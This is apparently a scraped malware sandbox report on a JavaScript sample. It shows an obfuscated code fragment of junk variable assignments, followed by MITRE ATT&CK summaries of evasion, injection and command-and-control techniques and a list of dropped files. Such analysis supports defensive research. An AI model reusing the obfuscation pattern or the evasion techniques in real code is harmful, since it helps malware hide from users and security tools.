586	oqxzhkj = "r";
587	oqxzhkj = "K";
588	oqxzhkj = "h";
589	oqxzhkj = "a";
590	oqxzhkj = "t";
591	oqxzhkj = "K";
592	oqxzhkj = "N";
593	oqxzhkj = "H";
594	oqxzhkj = "R";
595	oqxzhkj = "F";
596	oqxzhkj = "Q";
597	oqxzhkj = "c";
598	oqxzhkj = "L";
599	oqxzhkj = "z";
600	oqxzhkj = "G";
601	oqxzhkj = "z";
602	oqxzhkj = "j";
603	oqxzhkj = "r";
604	oqxzhkj = "b";
605	oqxzhkj = "S";
606	oqxzhkj = "B";
607	oqxzhkj = "S";
608	oqxzhkj = "w";
609	oqxzhkj = "P";
610	oqxzhkj = "y";
611	oqxzhkj = "G";
612	oqxzhkj = "b";
613	oqxzhkj = "q";
614	oqxzhkj = "F";
615	oqxzhkj = "R";
616	oqxzhkj = "f";
617	oqxzhkj = "C";
618	oqxzhkj = "m";
619	oqxzhkj = "H";
620	oqxzhkj = "m";
621	oqxzhkj = "J";
622	oqxzhkj = "v";
623	oqxzhkj = "B";
624	oqxzhkj = "P";
625	oqxzhkj = "E";
626	oqxzhkj = "f";
627	oqxzhkj = "Y";
628	oqxzhkj = "j";
629	oqxzhkj = "h";
630	dcdatr = "h";
631	dcdatr = "V";
632	dcdatr = "U";
633	dcdatr = "e";
634	dcdatr = "o";
635	dcdatr = "X";
636	dcdatr = "X";
637	dcdatr = "f";
638	dcdatr = "b";
639	dcdatr = "C";
640	dcdatr = "l";
641	dcdatr = "a";
642	dcdatr = "c";
643	dcdatr = "u";
644	dcdatr = "q";
645	dcdatr = "t";
646	dcdatr = "A";
647	dcdatr = "G";
648	dcdatr = "v";
649	dcdatr = "D";
650	dcdatr = "Y";
651	dcdatr = "S";
652	dcdatr = "C";
653	dcdatr = "x";
654	dcdatr = "H";
655	dcdatr = "r";
656	dcdatr = "x";
657	dcdatr = "Y";
658	dcdatr = "r";
659	dcdatr = "M";
660	dcdatr = "s";
661	dcdatr = "b";
662	dcdatr = "p";
663	dcdatr = "l";
664	dcdatr = "a";
665	dcdatr = "v";
666	dcdatr = "E";
667	dcdatr = "K";
668	dcdatr = "D";
669	dcdatr = "i";
670	dcdatr = "z";
671	dcdatr = "L";
672	dcdatr = "F";
673	dcdatr = "q";
674	dcdatr = "r";
675	zmkcnxeqd = "t";
676	zmkcnxeqd = "y";
677	zmkcnxeqd = "d";
678	zmkcnxeqd = "D";
679	zmkcnxeqd = "B";
680	zmkcnxeqd = "t";
681	jmasbu = "O";
682	jmasbu = "g";
683	jmasbu = "F";
684	jmasbu = "P";
685	jmasbu = "p";
686	jmasbu = "p";
687	jmasbu = "f";
688	jmasbu = "p";
689	jmasbu = "t";
690	jmasbu = "a";
691	jmasbu = "k";
692	jmasbu = "Z";
693	jmasbu = "j";
694	jmasbu = "S";
695	jmasbu = "d";
696	jmasbu = "n";
697	jmasbu = "s";
698	jmasbu = "n";
699	jmasbu = "n";
700	jmasbu = "J";
701	jmasbu = "K";
702	jmasbu = "D";
703	jmasbu = "v";
704	jmasbu = "U";
705	jmasbu = "n";
706	jmasbu = "H";
707	jmasbu = "b";
708	jmasbu = "J";
709	jmasbu = "u";
710	jmasbu = "b";
711	jmasbu = "U";
712	jmasbu = "a";
713	jmasbu = "\"";
714	smqftipdw = "L";
715	smqftipdw = "S";
716	smqftipdw = "T";
717	smqftipdw = "O";
718	smqftipdw = "T";
719	smqftipdw = "U";
720	smqftipdw = "y";
721	smqftipdw = "A";
722	smqftipdw = "c";
723	smqftipdw = "f";
724	smqftipdw = "N";
725	smqftipdw = "k";
726	smqftipdw = "o";
727	smqftipdw = "I";
728	smqftipdw = "U";
729	smqftipdw = "V";
730	smqftipdw = "q";
731	smqftipdw = "J";
732	smqftipdw = "L";
733	smqftipdw = "s";
734	smqftipdw = "T";
735	smqftipdw = "P";
736	smqftipdw = "u";
737	smqftipdw = "v";
738	smqftipdw = "D";
739	smqftipdw = "I";
740	smqftipdw = "O";
741	smqftipdw = "Q";
742	smqftipdw = "d";
743	smqftipdw = "a";
744	smqftipdw = "P";
745	smqftipdw = "a";
746	wzpvx = "V";
747	wzpvx = "8";
748	ckqfwqkqf = "i";
749	ckqfwqkqf = "K";
750	ckqfwqkqf = "g";
751	ckqfwqkqf = "k";
752	ckqfwqkqf = "p";
753	ckqfwqkqf = "J";
754	ckqfwqkqf = "x";
755	ckqfwqkqf = "l";
756	ckqfwqkqf = "O";
757	jvnvu = "I";
758	jvnvu = "x";
759	jvnvu = "b";
760	jvnvu = "d";
761	jvnvu = "T";
762	jvnvu = "f";
763	jvnvu = "Y";
764	jvnvu = "h";
765	jvnvu = "k";
766	jvnvu = "r";
767	jvnvu = "k";
768	jvnvu = "f";
769	jvnvu = "U";
770	jvnvu = "F";
771	jvnvu = "Q";
772	jvnvu = "P";
773	jvnvu = "x";
774	jvnvu = "x";
775	jvnvu = "n";
776	jvnvu = "M";
777	jvnvu = "H";
778	jvnvu = "O";
779	jvnvu = "i";
780	jvnvu = "s";
781	jvnvu = "r";
782	jvnvu = "e";
783	jvnvu = "W";
784	jvnvu = "D";
785	jvnvu = "m";
786	jvnvu = "G";
787	jvnvu = "i";
788	jvnvu = "Z";
789	jvnvu = "M";
790	jvnvu = "y";
791	jvnvu = "m";
792	jvnvu = "Z";
793	jvnvu = "g";
794	jvnvu = "N";
795	jvnvu = "v";
796	yhgioltk = "R";
797	yhgioltk = "Z";
798	yhgioltk = "R";
799	yhgioltk = "P";
800	yhgioltk = "g";
801	yhgioltk = "S";
802	yhgioltk = "E";
803	yhgioltk = "P";
804	yhgioltk = "o";
805	yhgioltk = "w";
806	yhgioltk = "u";
807	yhgioltk = "v";
808	yhgioltk = "m";
809	yhgioltk = "x";
810	yhgioltk = "V";
811	yhgioltk = "x";
812	sgiiyhke = "v";
813	sgiiyhke = "E";
814	sgiiyhke = "N";
815	sgiiyhke = "E";
816	sgiiyhke = "H";
817	sgiiyhke = "W";
818	sgiiyhke = "Z";
819	sgiiyhke = "C";
820	sgiiyhke = "W";
821	sgiiyhke = "P";
822	sgiiyhke = "k";
823	sgiiyhke = "R";
824	sgiiyhke = "Z";
825	sgiiyhke = "z";
826	sgiiyhke = "f";
827	sgiiyhke = "F";
828	sgiiyhke = "X";
829	sgiiyhke = "X";
830	sgiiyhke = "p";
831	sgiiyhke = "s";
832	sgiiyhke = "v";
833	sgiiyhke = "Y";
834	hirept = "J";
835	hirept = "U";
836	hirept = "o";
837	hirept = "x";
838	hirept = "K";
839	hirept = "G";
840	hirept = "J";
841	hirept = "z";
842	hirept = "a";
843	hirept = "L";
844	hirept = "K";
845	hirept = "i";
846	hirept = "E";
847	hirept = "W";
848	hirept = "k";
849	hirept = "O";
850	hirept = "c";
851	hirept = "h";
852	hirept = "v";
853	hirept = "g";
854	flzmtdieb = "I";
855	flzmtdieb = "Q";
856	flzmtdieb = "i";
857	flzmtdieb = "w";
858	flzmtdieb = "U";
859	flzmtdieb = "k";
860	flzmtdieb = "q";
861	flzmtdieb = "G";
862	flzmtdieb = "6";
863	txfeaa = ":";
864	nzpbqm = "z";
865	nzpbqm = "P";
866	ikiagql = "O";
867	ikiagql = "W";
868	ikiagql = "D";
869	ikiagql = "z";
870	ikiagql = "I";
871	ikiagql = "R";
872	ikiagql = "j";
873	ikiagql = "i";
874	ikiagql = "c";
875	ikiagql = "b";
876	ikiagql = "p";
877	ikiagql = "p";
878	ikiagql = "J";
879	ikiagql = "b";
880	ikiagql = "a";
881	ikiagql = "l";
882	ikiagql = "x";
883	ikiagql = "E";
884	ikiagql = "X";
885	ikiagql = "r";
886	ikiagql = "s";
887	ikiagql = "i";
888	ikiagql = "t";
889	ikiagql = "o";
890	ikiagql = "A";
891	ikiagql = "X";
892	ikiagql = "Z";
893	ikiagql = "L";
894	ikiagql = "F";
895	ikiagql = "l";
896	ndkzrnvic = "s";
897	ndkzrnvic = "v";
898	ndkzrnvic = "l";
899	ndkzrnvic = "f";
900	ndkzrnvic = "R";
901	ndkzrnvic = "z";
902	ndkzrnvic = "K";
903	ndkzrnvic = "l";
904	ndkzrnvic = "G";
905	ndkzrnvic = "F";
906	ndkzrnvic = "E";
907	ndkzrnvic = "g";
908	ndkzrnvic = "H";
909	ndkzrnvic = "o";
910	ndkzrnvic = "R";
911	ndkzrnvic = "y";
912	ndkzrnvic = "T";
913	ndkzrnvic = "Z";
914	ndkzrnvic = "m";
915	ndkzrnvic = "h";
916	ndkzrnvic = "r";
917	ndkzrnvic = "Q";
918	ndkzrnvic = "T";
919	ndkzrnvic = "q";
920	ndkzrnvic = "h";
921	ndkzrnvic = "l";
922	ndkzrnvic = "I";
923	ndkzrnvic = "J";
924	ndkzrnvic = "n";
925	ndkzrnvic = "M";
926	ndkzrnvic = "K";
927	ndkzrnvic = "r";
928	ndkzrnvic = "r";
929	ndkzrnvic = "k";
930	ndkzrnvic = "F";
931	ndkzrnvic = "f";
932	ndkzrnvic = "B";
933	ndkzrnvic = "o";
934	fygovy = "k";
935	fygovy = "y";
936	fygovy = "C";
937	fygovy = "N";
938	fygovy = "U";
939	fygovy = "P";
940	fygovy = "P";
941	fygovy = "s";
942	fygovy = "j";
943	nlwyxyh = "u";
944	nlwyxyh = "L";
945	nlwyxyh = "T";
946	nlwyxyh = "V";
947	nlwyxyh = "o";
948	nlwyxyh = "J";
949	nlwyxyh = "V";
950	nlwyxyh = "i";
951	nlwyxyh = "U";
952	nlwyxyh = "k";
953	nlwyxyh = "I";
954	nlwyxyh = "o";
955	nlwyxyh = "H";
956	nlwyxyh = "y";
957	nlwyxyh = "j";
958	nlwyxyh = "w";
959	nlwyxyh = "u";
960	nlwyxyh = "%";
961	uhnok = "X";
962	uhnok = "W";
963	azcrs = " ";
964	kmdkmxf = "X";
965	kmdkmxf = "l";
966	kmdkmxf = "w";
967	kmdkmxf = "O";
968	kmdkmxf = "d";
969	kmdkmxf = "t";
970	kmdkmxf = "o";
971	kmdkmxf = "k";
972	kmdkmxf = "i";
973	kmdkmxf = "c";
974	kmdkmxf = "m";
975	kmdkmxf = "r";
976	kmdkmxf = "L";
977	kmdkmxf = "N";
978	kmdkmxf = "j";
979	kmdkmxf = "I";
980	kmdkmxf = "O";
981	kmdkmxf = "T";
982	kmdkmxf = "I";
983	kmdkmxf = "d";
984	kmdkmxf = "Y";
985	kmdkmxf = "k";
986	kmdkmxf = "A";
987	kmdkmxf = "M";
988	kmdkmxf = "u";
989	ysshfcsj = "m";
990	ysshfcsj = "L";
991	ysshfcsj = "F";
992	ysshfcsj = "v";
993	ysshfcsj = "e";
994	ezqbt = "L";
995	ezqbt = "N";
996	ezqbt = "g";
997	ezqbt = "r";
998	ezqbt = "z";
999	ezqbt = "s";
1000	ezqbt = "K";
1001	ezqbt = "u";
1002	ezqbt = "o";
1003	ezqbt = "S";
1004	ezqbt = "a";
1005	ezqbt = "S";
1006	ezqbt = "F";
1007	ezqbt = "B";
1008	ezqbt = "Z";
1009	ezqbt = "p";
1010	ezqbt = "c";
1011	ezqbt = "P";
1012	ezqbt = "e";
1013	ezqbt = "g";
1014	ezqbt = "y";
1015	ezqbt = "n";
1016	ezqbt = "Y";
1017	ezqbt = "p";
1018	ezqbt = "T";
1019	ezqbt = "X";
1020	ezqbt = "W";
1021	ezqbt = "k";
1022	ezqbt = "E";
1023	ezqbt = "q";
1024	ezqbt = "M";
1025	ezqbt = "F";
1026	ezqbt = "A";
1027	ezqbt = "i";
1028	ezqbt = "S";
1029	ezqbt = "n";
1030	ezqbt = "w";
1031	ezqbt = "W";
1032	ezqbt = "n";
1033	ezqbt = "n";
1034	ezqbt = "C";
1035	ezqbt = "N";
1036	ezqbt = "j";
1037	ezqbt = "D";
1038	ezqbt = "7";
1039	gddya = "M";
1040	gddya = "Y";
1041	gddya = "f";
1042	gddya = "T";
1043	gddya = "k";
1044	gddya = "d";
1045	gddya = "b";
1046	gddya = "B";
1047	gddya = "s";
1048	gddya = "G";
1049	gddya = "F";
1050	gddya = "D";
1051	gddya = "B";
1052	gddya = "x";
1053	gddya = "c";
1054	gddya = "G";
1055	gddya = "s";
1056	gddya = "P";
1057	gddya = "s";
1058	gddya = "i";
1059	gddya = "q";
1060	gddya = "A";
1061	gddya = "h";
1062	gddya = "H";
1063	gddya = "k";
1064	gddya = "u";
1065	gddya = "W";
1066	gddya = "i";
1067	gddya = "W";
1068	gddya = "t";
1069	gddya = "E";
1070	gddya = "h";
1071	gddya = "m";
1072	gddya = "B";
1073	gddya = "D";
1074	gddya = "N";
1075	gddya = "@";
1076	qegyatjvj = "X";
1077	qegyatjvj = "d";
1078	qegyatjvj = "O";
1079	qegyatjvj = "K";
1080	qegyatjvj = "X";
1081	qegyatjvj = "P";
1082	qegyatjvj = "F";
1083	qegyatjvj = "o";
1084	qegyatjvj = "n";
1085	qegyatjvj = "M";
1086	qegyatjvj = "g";
1087	qegyatjvj = "Q";
1088	paiziku = "c";
1089	paiziku = "F";
1090	paiziku = "p";
1091	paiziku = "s";
1092	paiziku = "q";
1093	paiziku = "B";
1094	paiziku = "c";
1095	paiziku = "R";
1096	paiziku = "n";
1097	paiziku = "G";
1098	paiziku = "v";
1099	paiziku = "N";
1100	paiziku = "H";
1101	paiziku = "s";
1102	paiziku = "Q";
1103	paiziku = "I";
1104	paiziku = "F";
1105	paiziku = "M";
1106	paiziku = "y";
1107	paiziku = "M";
1108	paiziku = "r";
1109	paiziku = "z";
1110	paiziku = "i";
1111	paiziku = "W";
1112	paiziku = "I";
1113	paiziku = "M";
1114	paiziku = "h";
1115	paiziku = "4";
1116	cxcnmxi = "W";
1117	cxcnmxi = "k";
1118	cxcnmxi = "f";
1119	cxcnmxi = "q";
1120	cxcnmxi = "L";
1121	cxcnmxi = "p";
1122	cxcnmxi = "L";
1123	cxcnmxi = "k";
1124	cxcnmxi = "L";
1125	cxcnmxi = "5";
1126	aefyseyj = "H";
1127	aefyseyj = "A";
1128	aefyseyj = "a";
1129	aefyseyj = "J";
1130	aefyseyj = "P";
1131	aefyseyj = "W";
1132	aefyseyj = "C";
1133	aefyseyj = "k";
1134	qcgbjlj = "O";
1135	qcgbjlj = "O";
1136	qcgbjlj = "f";
1137	qcgbjlj = "f";
1138	qcgbjlj = "o";
1139	qcgbjlj = "W";
1140	qcgbjlj = "S";
1141	qcgbjlj = "m";
1142	qcgbjlj = "v";
1143	qcgbjlj = "q";
1144	qcgbjlj = "p";
1145	qcgbjlj = "K";
1146	qcgbjlj = "F";
1147	qcgbjlj = "f";
1148	zzpgq = "Q";
1149	zzpgq = "d";
1150	zzpgq = "P";
1151	zzpgq = "P";
1152	zzpgq = "b";
1153	zzpgq = "u";
1154	zzpgq = "l";
1155	zzpgq = "C";
1156	zzpgq = "M";
1157	zzpgq = "c";
1158	zzpgq = "K";
1159	zzpgq = "l";
1160	zzpgq = "J";
1161	zzpgq = "O";
1162	zzpgq = "z";
1163	zzpgq = "P";
1164	zzpgq = "n";
1165	zzpgq = "a";
1166	zzpgq = "L";
1167	zzpgq = "K";
1168	zzpgq = "G";
1169	zzpgq = "R";
1170	zzpgq = "k";
1171	zzpgq = "N";
1172	kffcjb = "Z";
1173	kffcjb = "I";
1174	kffcjb = "B";
1175	kffcjb = "e";
1176	kffcjb = "h";
1177	kffcjb = "s";
1178	kffcjb = "s";
1179	kffcjb = "U";
1180	kffcjb = "J";
1181	kffcjb = "N";
1182	kffcjb = "I";
1183	kffcjb = "N";
1184	kffcjb = "y";
1185	kffcjb = "u";
1186	kffcjb = "b";
1187	kffcjb = "q";
1188	kffcjb = "Z";
1189	kffcjb = "P";
1190	kffcjb = "Q";
1191	kffcjb = "N";
1192	kffcjb = "p";
1193	kffcjb = "Y";
1194	kffcjb = "m";
1195	kffcjb = "y";
1196	kffcjb = "Q";
1197	kffcjb = "j";
1198	kffcjb = "T";
1199	kffcjb = "C";
1200	tegwjvh = "0";
1201	cytnsz = "b";
1202	cytnsz = "P";
1203	cytnsz = "C";
1204	cytnsz = "a";
1205	cytnsz = "s";
1206	cytnsz = "w";
1207	cytnsz = "f";
1208	cytnsz = "N";
1209	cytnsz = "J";
1210	cytnsz = "g";
1211	cytnsz = "l";
1212	cytnsz = "j";
1213	cytnsz = "P";
1214	cytnsz = "A";
1215	cytnsz = "E";
1216	cytnsz = "O";
1217	cytnsz = "V";
1218	cytnsz = "I";
1219	cytnsz = "c";
1220	cytnsz = "/";
1221	iynxv = "H";
1222	iynxv = "l";
1223	iynxv = "G";
1224	iynxv = "e";
1225	iynxv = "G";
1226	iynxv = "H";
1227	iynxv = "z";
1228	iynxv = "N";
1229	iynxv = "N";
1230	iynxv = "O";
1231	iynxv = "u";
1232	iynxv = "B";
1233	iynxv = "f";
1234	iynxv = "u";
1235	iynxv = "M";
1236	iynxv = "n";
1237	iynxv = "e";
1238	iynxv = "G";
1239	iynxv = "V";
1240	iynxv = "l";
1241	iynxv = "D";
1242	iynxv = "n";
1243	iynxv = "v";
1244	iynxv = "r";
1245	iynxv = "g";
1246	iynxv = "e";
1247	iynxv = "I";
1248	iynxv = "t";
1249	iynxv = "b";
1250	iynxv = "Y";
1251	iynxv = "V";
1252	iynxv = "O";
1253	iynxv = "i";
1254	guxiygmme = "d";
1255	guxiygmme = "O";
1256	guxiygmme = "k";
1257	guxiygmme = "m";
1258	guxiygmme = "p";
1259	guxiygmme = "e";
1260	guxiygmme = "W";
1261	guxiygmme = "B";
1262	guxiygmme = "v";
1263	guxiygmme = "M";
1264	guxiygmme = "a";
1265	guxiygmme = "k";
1266	guxiygmme = "L";
1267	guxiygmme = "t";
1268	guxiygmme = "I";
1269	guxiygmme = "q";
1270	guxiygmme = "N";
1271	guxiygmme = "X";
1272	guxiygmme = "d";
1273	guxiygmme = "E";
1274	guxiygmme = "K";
1275	guxiygmme = "t";
1276	guxiygmme = "Z";
1277	guxiygmme = "H";
1278	guxiygmme = "V";
1279	guxiygmme = "j";
1280	guxiygmme = "R";
1281	guxiygmme = "a";
1282	guxiygmme = "u";
1283	guxiygmme = "h";
1284	guxiygmme = "z";
1285	guxiygmme = "S";
1286	guxiygmme = "f";
1287	guxiygmme = "U";
1288	guxiygmme = "W";
1289	guxiygmme = "B";
1290	guxiygmme = "1";
1291	jiuxf = "k";
1292	jiuxf = "K";
1293	jiuxf = "X";
1294	jiuxf = "U";
1295	jiuxf = "w";
1296	jiuxf = "o";
1297	jiuxf = "V";
1298	jiuxf = "k";
1299	jiuxf = "p";
1300	jiuxf = "x";
1301	jiuxf = "M";
1302	jiuxf = "J";
1303	jiuxf = "r";
1304	jiuxf = "y";
1305	jiuxf = "I";
1306	bhssrf ( );	bhssrf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23333227572217423995.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b48c1d12-111b-4add-9874-b37fd2fd5e02.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

